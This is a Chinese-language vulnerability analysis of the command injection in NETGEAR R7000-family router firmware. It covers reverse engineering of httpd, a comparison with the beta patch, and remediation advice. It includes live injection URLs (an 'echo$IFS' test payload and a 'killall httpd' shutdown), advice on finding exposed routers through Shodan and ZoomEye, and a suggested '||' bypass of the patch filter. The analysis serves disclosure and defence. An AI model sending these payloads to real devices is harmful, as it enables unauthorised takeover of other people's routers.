1.测试目标查找：shodan
NETGEAR R6250*
NETGEAR R6400*
NETGEAR R6700*
NETGEAR R6900*
NETGEAR R7000*
NETGEAR R7100LG*
NETGEAR R7300DST*
NETGEAR R7900*
NETGEAR R8000*
NETGEAR D6220*
NETGEAR D6400*
通过ZoomEye网络空间搜素引擎我们可以寻找此次受影响的设备的ip
curl -v //仔细查看"https://ip:port/cgi-bin/;echo$IFS"testt" --insecure//也可以用-k //证书问题解决
2.漏洞分析
①灵感篇
此次漏洞分析的灵感源于小伙伴检测中发现的一个问题，让我们走了不少弯路，顺利定位到问题所在。 当我们执行ps命令时，出现了如下的结果： 很有意思的是，我们请求的url出现在了以nobody用户运行的进程里，这让我们可以根据关键词"sh -c"和"/tmp/cgi_result"去定位关键代码的位置。
在漏洞分析的过程中，另一个小伙伴给出了一个链接，DD-WRT HTTPd的远程命令执行。其中命令执行的部分如下，与本次漏洞很像。于是HTTPD就成了我们这次重点关注的对象。
从官网下载NETGEAR R7000的固件并通过如下命令解开固件。
binwalk -eM R7000-V1.0.7.2_1.1.93.chk
解开固件之后我们寻找到了相关的文件/usr/sbin/httpd，确认与cgi_result有关之后，我们对httpd进行了逆向。
②逆向篇
根据前文的介绍，我们通过搜索字符串，找到了对应的函数sub_36C34,F5看反编译的伪码，出现cgi_result这一字符串的地方如下：
if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("\r\n##########delete /tmp/cgi_result ############\r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
可以看到else里的逻辑是先判断/tmp/cgi_result这一文件是否存在，存在则删除该文件，v33为unk_F070F的地址值，unk_F070F的值为/www/cgi-bin/%s > /tmp/cgi_result，v34为v45的地址值。继续向下，可以看到v50替换了v33中的 %s 并赋值给了v34。v50具体是什么我们暂时不清楚。然后再使用system() 函数执行v45对应的值，也就是前面v34的值。 。据此推断，此处应该就是命令执行的触发点了。我们开始向上溯源。 首先，我们先看一下sub_36C34函数的几个参数的内容
int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
根据其中的代码内容以及写入的文件/tmp/post_data.txt可知，a1为POST数据包的body部分，a3可能为url，a4为一个整数，用于判断是否为POST的数据包 查看xrefs graph to生成的调用图:
我们从main函数开始看起，main函数直接调用了sub_147A0函数
sub_147A0函数中如此调用了sub_100A0函数
sub_100A0(&s1, a105, (int)&a87, dword_F217F8);
其中s1为http报文内容，a105为s1的地址值。
在sub_100A0函数中，POST数据交给sub_19600函数处理，GET数据交给sub_19B3C函数处理，还有一些其它情况交给sub_1A1C0函数处理，再交给sub_19B3C处理。我们跟了调用sub_19600函数的一些关键过程。
int __fastcall sub_100A0(char *a1, const char *a2, int a3, int a4)
{
char *v9; // r4@5
const char *v10; // r3@6
int v11; // r7@6
bool v12; // zf@6
...
s1 = a1;
v9 = (int)s1;
...
do
{
v10 = (unsigned __int8)*v9;
v11 = v9++;
v12 = v10 == 0;
if ( v10 )
v12 = v10 == 32;
}
while ( !v12 );
//移动到HTTP报文第一个空格的位置
...
LABEL_27:
if ( *(_BYTE *)(v11 + 1) == 47 )
++v9;
//移动到HTTP报文中/的位置
..
return (int)sub_19600((const char *)v9, v248, v4);
}
可以看到，sub_19600函数将指针移动到HTTP报文中第一个/的位置，也就是网站路径的位置，然后通过调用LABEL_27:就可以获取网站的目录。这样获取到的内容就是最初始的内容被传递到了下一个函数 sub_19600。
char *__fastcall sub_19600(const char *a1, const char *a2, int a3)
{
const char *v3; // r6@1
const char *v4; // r4@1
int v5; // r5@1
char *result; // r0@1
v3 = a2;
v4 = a1;
v5 = a3;
result = strstr(a1, "cgi-bin");
if ( result )
{
if ( acosNvramConfig_match((int)"cgi_debug_msg", (int)"1") )
printf("\r\n##########%s(%d)url=%s\r\n", "handle_options", 1293, v4);
result = (char *)sub_36C34(v3, v5, v4, 2);
}
return result;
}
sub_19600函数没有做任何处理，就直接将获取到的路径传递到了sub_36C34。
int __fastcall sub_36C34(const char *a1, int a2, const char *a3, int a4)
{
v6 = a3;
v12 = strstr(v6, "cgi-bin");
if(v12)
{
...
memset(&v50, 0, 0x40u);//给V50分配了64字节的空间，故我们可执行命令的最大长度为64字节
...
}
else
{
if ( v24 )
{
if ( v22 )
v25 = 0;
else
v25 = v23 & 1;
if ( v25 )
strcpy((char *)&v50, v20);
}
else
{
strncpy((char *)&v50, v20, v22 - 1 - v21);
}
}
...
...
...
if ( !strcmp((const char *)&v53, "POST") )
{
...
}
else if ( !strcmp((const char *)&v53, "OPTIONS") )
{
...
}
else
{
v36 = fopen("/tmp/cgi_result", "r");
if ( v36 )
{
fclose(v36);
system("rm -f /tmp/cgi_result");
if ( acosNvramConfig_match((int)&unk_F0378, (int)"2") )
puts("\r\n##########delete /tmp/cgi_result ############\r");
}
v33 = (const char *)&unk_F070F;
v34 = (char *)&v45;
}
sprintf(v34, v33, &v50);
system((const char *)&v45);
memset(&v49, 0, 0x40u);
}
在sub_36C34函数中，会检测url中是否含有cgi-bin，如果含有，则进行一系列分割操作，并将cgi-bin后面的值赋给v50，而参数v50则正如我们之前分析的那样，替换了v33中的 %s 之后赋值给v34并被 system() 函数执行，造成了命令执行漏洞。
之后我们继续跟了sub_19B3C和sub_1A1C0这两个函数，发现最终也跟sub_19600函数殊途同归。不过是因为HTTP请求的不同(POST和OPTIONS)而导致不同的函数去处理罢了。
③固件对比篇
2016年11月13日，NETGEAR在其官网发布了新的beta固件，我们对其进行了更进。
按照上文同样的方法，我们对httpd进行了逆向，xrefs图如下: 整体函数没有太大变化，让我们来看一下具体细节上的变化。 一路跟下来，在sub_14958，sub_100A0和sub_197B8这些函数中都没有看到对url进行处理，在sub_36EB4中我们发现官方对其进行了过滤。
int __fastcall sub_36EB4(const char *a1, int a2, const char *a3, int a4)
{
const char *v6; // r4@1
...
v6 = a3;
if ( !strchr(a3, 59) && !strchr(v6, 96) && !strchr(v6, 36) && !strstr(v6, "..") )
//ascii对照表:59=>； 96=>` 36=>$
{
...
}
}
我们可以看到，官方的beta固件过滤了; \ $和..，但是我们依旧可能可以绕过这些过滤执行命令，例如||(未测试)。
至于官方后续的更新，我们会继续更进。 如有错误，欢迎指正:)
三.漏洞影响
下图为ZoomEye网络空间搜素引擎上最早曝光的受影响设备R7000,R8000和R6400的全球分布情况。
事实上，还有很多内网的设备我们无法探测，对于这些内网设备，通过csrf攻击仍然可以威胁到内网的安全。这里提供一个以往的案例供大家参考: http://www.2cto.com/article/201311/254364.html 。由于本次漏洞可以执行任意命令，故威胁远比案例中修改dns要大，希望可以引起大家的重视。
四.修复建议
目前官方仅推出了beta版的补丁，可以根据官网的提示刷新固件 由于新版本beta固件可能还存在一定的安全问题，我们仍然建议关闭路由器远程管理页面。 对比之前受影响的设备，如果不能进入管理界面，也可以通过下列url关闭。
http(s)://ip:port/cgi-bin/;killall$IFS’httpd’
